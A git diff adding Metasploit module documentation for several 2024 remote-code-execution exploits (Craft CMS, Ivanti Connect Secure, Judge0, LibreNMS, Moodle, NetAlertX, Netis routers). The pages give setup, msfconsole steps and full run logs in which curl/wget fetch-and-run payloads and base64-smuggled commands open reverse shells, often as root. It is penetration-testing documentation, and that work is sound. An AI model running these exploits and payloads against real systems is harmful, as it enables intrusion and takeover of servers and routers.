+4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default:
+ - `RPORT` is set to `80`.
+ - `TARGETURI` is set to `/`.
+
+5. Set the payload for exploitation. For example:
+```bash
+set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
+```
+
+6. Set the local listener address and port:
+```bash
+set LHOST 192.168.1.36
+set LPORT 4444
+```
+
+7. Optionally, customize FTP-related settings like `SRVPORT` and `FETCH_URIPATH` if needed:
+```bash
+set SRVPORT 9090
+set FETCH_SRVPORT 8081
+set FETCH_URIPATH /custom_payload_path
+```
+
+8. Run the exploit:
+```bash
+exploit
+```
+
+**Expected Results**:
+
+If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell:
+
+```bash
+msf6 exploit(linux/http/craftcms_ftp_template) > options
+
+Module options (exploit/linux/http/craftcms_ftp_template):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ PASVPORT 0 no The local PASV data port to listen on (0 is random)
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS exploit-craft.ddev.site yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl
+ oit.html
+ RPORT 80 yes The target port (TCP)
+ SRVHOST 192.168.1.36 yes The local host or network interface to listen on. This must be an address on the local machine
+ or 0.0.0.0 to listen on all addresses.
+ SRVPORT 9090 yes The local port to listen on.
+ SSL false no Negotiate SSL for incoming connections
+ SSLCert no Path to a custom SSL certificate (default is randomly generated)
+ VHOST no HTTP server virtual host
+
+
+Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE false yes Attempt to delete the binary after execution
+ FETCH_FILENAME QnXFYebbb no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8081 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
+ LHOST 192.168.1.36 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Unix/Linux Command Shell
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/craftcms_ftp_template) > exploit
+[*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu&
+[*] Exploit running as background job 57.
+[*] Exploit completed, but no session was created.
+msf6 exploit(linux/http/craftcms_ftp_template) >
+[*] Fetch handler listening on 192.168.1.36:8081
+[*] HTTP server started
+[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
+[*] Started reverse TCP handler on 192.168.1.36:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Performing vulnerability check...
+[+] The target is vulnerable.
+[*] Starting FTP service...
+[*] Started service listener on 192.168.1.36:9090
+[*] FTP server started on 192.168.1.36:9090
+[*] Sending HTTP request to trigger the payload...
+[*] Triggering HTTP request...
+[*] -> 220 FTP Server Ready
+[*] on_client_command_user
+[*] -> 331 Username ok, send password.
+[*] on_client_command_pass
+[*] -> 230 Login successful.
+[*] on_client_command_cwd
+[*] -> 250 "/default" is current directory.
+[*] on_client_command_type
+[*] -> 200 Type set to: Binary.
+[*] on_client_command_size
+[*] -> 550 /default is not retrievable.
+[*] on_client_command_mdtm
+[*] -> 550 /default is not retrievable.
+[*] -> 220 FTP Server Ready
+[*] on_client_command_user
+[*] -> 331 Username ok, send password.
+[*] on_client_command_pass
+[*] -> 230 Login successful.
+[*] on_client_command_cwd
+[*] -> 550 Not a directory
+[*] on_client_command_type
+[*] -> 200 Type set to: Binary.
+[*] on_client_command_size
+[*] -> 213 154
+[*] on_client_command_mdtm
+[*] -> 213 20250110170738
+[*] -> 220 FTP Server Ready
+[*] on_client_command_user
+[*] -> 331 Username ok, send password.
+[*] on_client_command_pass
+[*] -> 230 Login successful.
+[*] on_client_command_cwd
+[*] -> 550 Not a directory
+[*] on_client_command_type
+[*] -> 200 Type set to: Binary.
+[*] on_client_command_size
+[*] -> 213 154
+[*] on_client_command_mdtm
+[*] -> 213 20250110170738
+[*] -> 220 FTP Server Ready
+[*] on_client_command_user
+[*] -> 331 Username ok, send password.
+[*] on_client_command_pass
+[*] -> 230 Login successful.
+[*] on_client_command_type
+[*] -> 200 Type set to: Binary.
+[*] on_client_command_size
+[*] -> 213 154
+[*] on_client_command_epsv
+[*] -> 502 EPSV command not implemented.
+[*] on_client_command_retr
+[*] -> 150 Opening data connection for /default/index.twig
+[*] -> 226 Transfer complete.
+[*] on_client_command_quit
+[*] -> 221 Goodbye.
+[*] Client 172.26.0.2 requested /LoPlnjEpeOexZNVppn6cAA
+[*] Sending payload to 172.26.0.2 (curl/7.88.1)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 172.26.0.2
+[*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100
+
+msf6 exploit(linux/http/craftcms_ftp_template) > sessions 14
+[*] Starting interaction with 14...
+meterpreter > sysinfo
+Computer : 172.26.0.2
+OS : Debian 12.8 (Linux 5.15.0-130-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+[*] Waiting for FTP client connections...
+[*] Shutting down FTP service...
+[*] Server stopped.
+```
diff --git a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md
new file mode 100644
index 000000000000..3bbb09c6732c
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md
@@ -0,0 +1,114 @@
+## Vulnerable Application
+
+This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to
+achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 are
+vulnerable. Note that Ivanti Policy Secure versions prior to 22.7R1.1 are also
+vulnerable but this module doesn't support this software.
+
+Valid administrative credentials are required. A non-administrative user is also
+required and can be created using the administrative account, if needed.
+
+Finally, the `Client Log Upload` feature needs to be enabled. This can also
+be done using the administrative interface (see the Installation Steps section
+below), if it is not enabled already.
+
+### Process Overview
+
+First, the module will log into the administrative interface and check if the version
+is vulnerable. Then, it will connect to the user interface using non-privileged
+credentials and upload a log file archive containing the payload. This file is
+stored as a known path on the server, which can be retrieved from the
+administrative interface. Then, it leverages the CRLF vulnerability by creating
+a Certificate Signing Request and passing a specially crafted OpenSSL
+configuration. This configuration instructs OpenSSL to use a custom
+cryptographic engine, which points to the log file path (our payload). The
+payload is immediately executed, giving RCE as the root user on the appliance.
+
+This has been successfully tested against Ivanti Connect Secure version 22.3R1 (build 1647).
+
+### Installation Steps
+Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series)
+with a vulnerable Ivanti Connect Secure installed.
+
+Note that it is not possible to download a trial version of a Virtual Appliance
+unless you contact sales and request a demo.
+
+Log into to the admin interface (https://admin) to proceed with the following requirements:
+
+#### Create a normal user
+- In the `Authentication` menu, select `Auth. Servers`.
+- Select the `System Local` `Authentication/Authorization Servers` or any
+ server with the type `Local Authentication`. Don't select the
+ `Administrators` server since we need a non-administrative account.
+- Click on the `Users` tab and then `New`.
+- Fill the registration form and click `Save Changes`.
+
+#### Enable Client Log
+- Go to `Users` > `User Roles` and click on the `Users` role.
+- Go to `General` > `Session Options`.
+- Select `Enable Upload Logs` under the `Upload logs` section.
+- Click `Save Changes`.
+
+
+## Verification Steps
+1. Start msfconsole
+1. Do: `use linux/http/ivanti_connect_secure_rce_cve_2024_37404`
+1. Do: `run verbose=true lhost= rhosts= admin_username= admin_password= username= password=`
+1. You should get a Meterpreter session
+1. Make sure the admin and the normal user have been logged out by logging in
+ the web interfaces with a web browser (you should have any warning saying a
+ session is already active)
+1. Make sure the cleanup has been done correctly by checking `System` > `Log/Monitoring`
+
+
+## Options
+
+### ADMIN_USERNAME
+Administrative username to authenticate with.
+
+### ADMIN_PASSWORD
+Administrator password to authenticate with.
+
+### USERNAME
+Normal user username to authenticate with.
+
+### PASSWORD
+Normal user password to authenticate with.
+
+
+## Scenarios
+
+### Ivanti Connect Secure version 22.3R1 (build 1647)
+
+```
+msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890
+
+[*] Started reverse TCP handler on 192.168.211.69:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Login to the administrative interface with username 'msfadmin' and password '1234567890'...
+[!] The admin msfadmin is already logged in
+[*] Getting the version...
+[+] Found version 22.3R1 (build 1647)
+[+] The target appears to be vulnerable.
+[*] Uploading the payload...
+[*] Login to the user interface with username 'msfuser' and password '1234567890'...
+[*] Uploading the log file...
+[*] Logging the user out...
+[*] Getting the log file name...
+[*] Triggering the payload...
+[*] Transmitting intermediate stager...(106 bytes)
+[*] Sending stage (1017704 bytes) to 192.168.211.200
+[*] Cleaning up...
+[*] Deleting the log file (payload)...
+[*] Logging the administrator out...
+[*] Meterpreter session 3 opened (192.168.211.69:4444 -> 192.168.211.200:50210) at 2024-10-29 16:43:35 +0100
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 192.168.211.200
+OS : (Linux 4.15.18.34-production)
+Architecture : x64
+BuildTuple : i486-linux-musl
+Meterpreter : x86/linux
+```
diff --git a/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md b/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md
new file mode 100644
index 000000000000..ad06ebbd52bd
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md
@@ -0,0 +1,121 @@
+## Vulnerable Application
+
+Judge0 does not account for symlinks placed inside the sandbox directory,
+which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox.
+
+The vulnerability affects:
+
+ * Judge0 <= 1.13.0
+
+This module was successfully tested on:
+
+ * Judge0(v1.13.0) installed with Docker on Ubuntu 20.0.4
+
+
+### Installation
+
+1. (Optional) Set cgroup to v1
+```bash
+ sudo nano /etc/default/grub
+ # add this line at the top, and save:
+ GRUB_CMDLINE_LINUX="systemd.unified_cgroup_hierarchy=0"
+ sudo update-grub
+ sudo reboot
+```
+
+2. Install Judge0
+```bash
+ wget https://github.com/judge0/judge0/releases/download/v1.13.0/judge0-v1.13.0.zip
+ unzip judge0-v1.13.0.zip
+ cd judge0-v1.13.0
+```
+
+3. Start Judge0
+```bash
+ docker compose up
+```
+
+4. (Optional) When Judge0 does not work, try this
+```bash
+ docker compose up --force-recreate server
+```
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189`
+4. Do: `run lhost= rhost=`
+5. You should get a meterpreter
+
+
+## Options
+
+
+## Scenarios
+```
+msf6 > use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189
+[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
+msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > options
+
+Module options (exploit/linux/http/judge0_sandbox_escape_cve_2024_28189):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 2358 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ VHOST no HTTP server virtual host
+
+
+Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE false yes Attempt to delete the binary after execution
+ FETCH_FILENAME JRzyWcrcJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
+ LHOST yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > run lhost=192.168.56.1 rhost=192.168.56.15
+
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Version 1.13.0 detected, which is vulnerable
+[+] The target appears to be vulnerable.
+[*] Writing cron job to /etc/cron.d/dUTuziNy
+[*] Use language: 77, COBOL (GnuCOBOL 2.2)
+[+] Deleted /etc/cron.d/dUTuziNy
+[+] Deleted /root/SVENuNNy
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:49024) at 2024-10-29 12:56:04 +0900
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 172.18.0.5
+OS : Debian 10.2 (Linux 5.4.0-196-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter > pwd
+/root
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md b/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md
new file mode 100644
index 000000000000..d75f4dd3e072
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md
@@ -0,0 +1,122 @@
+## Vulnerable Application
+
+An authenticated attacker can create dangerous directory names on the system and
+alter sensitive configuration parameters through the web portal.
+Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
+thus achieving arbitrary code execution.
+
+The vulnerability affects:
+
+ * 24.9.0 <= LibreNMS <= 24.9.1
+
+This module was successfully tested on:
+
+ * LibreNMS 24.9.0 installed on Ubuntu 22.04
+ * LibreNMS 24.9.1 installed on Ubuntu 22.04
+
+
+### Installation
+
+1. Follow the [official instructions](https://docs.librenms.org/Installation/Install-LibreNMS/).
+After git clone, change version: `git checkout tags/24.9.1`.
+
+2. Comment out the last line in `/etc/cron.d/librenms`:
+`19 0 * * * librenms /opt/librenms/daily.sh >> /dev/null 2>&1`.
+Otherwise, the version will be updated to the latest, causing the exploit to fail.
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092`
+4. Do: `run lhost= rhost= username= password=`
+5. (Optional) Do: `php artisan device:poll all` on the victim machine or wait up to 5 minutes (default cron setting)
+6. You should get a meterpreter
+
+
+## Options
+### USERNAME (required)
+User name for LibreNMS.
+
+### PASSWORD (required)
+Password for LibreNMS.
+
+### PATH (required)
+LibreNMS installed location. Default is `/opt/librenms`.
+
+### WAIT (required)
+Wait time (seconds) for cron to poll the device. Default is `315`.
+
+
+## Scenarios
+```
+msf6 > use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > options
+
+Module options (exploit/linux/http/librenms_authenticated_rce_cve_2024_51092):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ PASSWORD yes Password for LibreNMS
+ PATH /opt/librenms yes LibreNMS installed location
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 80 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ USERNAME yes User name for LibreNMS
+ VHOST no HTTP server virtual host
+ WAIT 315 yes Wait time (seconds) for cron to poll the device
+
+
+Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE false yes Attempt to delete the binary after execution
+ FETCH_FILENAME n no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH s no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
+ LHOST 192.168.0.12 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > run lhost=192.168.56.1 rhost=192.168.56.17 username=librenms password=librenms
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Successfully logged into LibreNMS.
+[+] The target appears to be vulnerable. LibreNMS version 24.9.1 detected, which is vulnerable.
+[*] Try to add host: 'f;echo d2dldCAtcU8gLi9uIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9zO2NobW9kICt4IC4vbjsuL24m|base64 -d|bash;#', length: 100
+[*] Added host.
+[*] Actual payload: wget -qO ./n http://192.168.56.1:8080/s;chmod +x ./n;./n&
+[*] Waiting up to 315 seconds for cron to poll the device...
+[*] Sending stage (3045380 bytes) to 192.168.56.17
+[+] Deleted n
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:40228) at 2025-01-17 21:19:20 +0900
+[*] Reset snmpget to default.
+[*] Deleted device: 353
+
+meterpreter > getuid
+Server username: librenms
+meterpreter > sysinfo
+Computer : 192.168.56.17
+OS : Ubuntu 22.04 (Linux 6.8.0-50-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/http/moodle_rce.md b/documentation/modules/exploit/linux/http/moodle_rce.md
new file mode 100644
index 000000000000..0f53153ebb09
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/moodle_rce.md
@@ -0,0 +1,101 @@
+## Vulnerable Application
+
+This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
+By default, the application will run in the context of www-data, so only a limited shell can be obtained.
+
+Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an
+existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include
+`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration.
+
+Affected versions include:
+* 4.4 to 4.4.1
+* 4.3 to 4.3.5
+* 4.2 to 4.2.8
+* 4.1 to 4.1.11
+
+Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193).
+
+The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is
+available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/).
+
+## Testing
+
+Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/).
+An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu).
+
+**Successfully tested on**
+
+- Moodle v4.4.1 on Ubuntu 20.04 LTS
+
+## Verification Steps
+
+1. Deploy Moodle
+2. Start `msfconsole`
+3. `use exploit/linux/http/moodle_rce`
+4. `set USERNAME `
+5. `set PASSWORD `
+6. `set CMID `
+7. `set COURSEID `
+8. `set RHOSTS `
+9. `set LHOST `
+10. `exploit`
+
+## Options
+
+### USERNAME
+The username to authenticate with in Moodle.
+
+### PASSWORD
+The password for the user.
+
+### CMID
+The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course
+(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4).
+
+### COURSEID
+The course ID. Can be retrieved from the URL when the course is selected (e.g., /moodle/course/view.php?id=3).
+
+## Scenarios
+
+Running the module against Moodle v4.4.1 should result in an output similar to the following:
+
+```
+msf6 > use exploit/linux/http/moodle_rce
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser
+USERNAME => testuser
+msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD
+PASSWORD => iusldbf843498fKJASD
+msf6 exploit(linux/http/moodle_rce) > set CMID 2
+CMID => 2
+msf6 exploit(linux/http/moodle_rce) > set COURSEID 2
+COURSEID => 2
+msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141
+RHOSTS => 192.168.217.141
+msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128
+LHOST => 192.168.217.128
+msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit
+[*] Started reverse TCP handler on 192.168.217.128:4444
+[*] Obtaining MoodleSession and logintoken...
+[+] Server reachable.
+[*] Authenticating as testuser...
+[*] Successfully authenticated.
+[*] Obtaining sesskey, courseContextId, and category...
+[*] Injecting command...
+[*] Sending stage (3045380 bytes) to 192.168.217.141
+[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400
+[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server.
+[*] Exploit completed, but no session was created.
+msf6 exploit(linux/http/moodle_rce) > sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > sysinfo
+Computer : 192.168.217.141
+OS : Ubuntu 24.04 (Linux 6.8.0-41-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+
+meterpreter > getuid
+Server username: www-data
+```
diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md
new file mode 100644
index 000000000000..4c7b8a990279
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md
@@ -0,0 +1,110 @@
+## Vulnerable Application
+
+An attacker can update NetAlertX settings with no authentication, which results in RCE.
+
+The vulnerability affects:
+
+ * v23.01.14 <= NetAlertX <= v24.9.12
+
+This module was successfully tested on:
+
+ * NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04
+
+
+### Installation
+
+1. `docker pull jokobsk/netalertx:24.9.12`
+
+2. docker run
+```bash
+docker run --rm --network=host \
+ -v /tmp/netalertx:/app/config \
+ -v /tmp/netalertx:/app/db \
+ -e TZ=Europe/Berlin \
+ -e PORT=20211 \
+ jokobsk/netalertx:24.9.12
+```
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
+4. Do: `run lhost= rhost=`
+5. You should get a meterpreter
+
+
+## Options
+### WAIT (required)
+Wait time (seconds) for the payload to be set. Default is `75`.
+
+### CLEANUP
+Restore DBCLNP_CMD to original value after execution. Default is `true`.
+
+
+## Scenarios
+```
+msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options
+
+Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ CLEANUP true no Restore DBCLNP_CMD to original value after execution
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 20211 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ VHOST no HTTP server virtual host
+ WAIT 75 yes Wait time (seconds) for the payload to be set
+
+
+Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE true yes Attempt to delete the binary after execution
+ FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
+ LHOST 192.168.0.12 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Version 24.9.12 detected.
+[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
+[*] Waiting settings really updated...
+[*] Sending stage (3045380 bytes) to 192.168.56.17
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
+[*] Added the payload to the queue. Waiting for the payload to run...
+[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 192.168.56.17
+OS : (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md
new file mode 100644
index 000000000000..36d5fdf8cad3
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md
@@ -0,0 +1,289 @@
+## Vulnerable Application
+Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change
+password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details).
+The vulnerability stems from improper handling of the password and new password parameter within the router's web interface.
+Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection
+vulnerability.
+When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router.
+An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457)
+allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute
+the RCE.
+
+Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure
+revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running
+specific vulnerable firmware.
+
+The following router firmware versions are vulnerable:
+
+- [x] netis_MW5360_V1.0.1.3031_fw.bin
+- [x] Netis_MW5360-1.0.1.3442.bin
+- [x] Netis_MW5360_RUSSIA_844.bin
+- [x] netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
+- [x] netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
+- [x] netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
+- [x] Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
+- [x] netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
+- [x] netis_NC65_V3.0.0.3749.bin
+- [x] Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
+- [x] Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
+- [x] netis_NX10_V2.0.1.3582_fw.bin
+- [x] netis_NX10_V2.0.1.3643.bin
+- [x] Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
+- [x] netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
+- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
+- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
+- [x] Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
+- [x] GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
+
+and potentially others...
+
+## Installation
+Ideally, to test this module, you would need a vulnerable Netis Router device.
+However, by downloading the firmware and install and use `FirmAE` to emulate the router,
+we can simulate the router and test the vulnerable endpoint.
+
+### Installation steps to emulate the router firmware with FirmAE
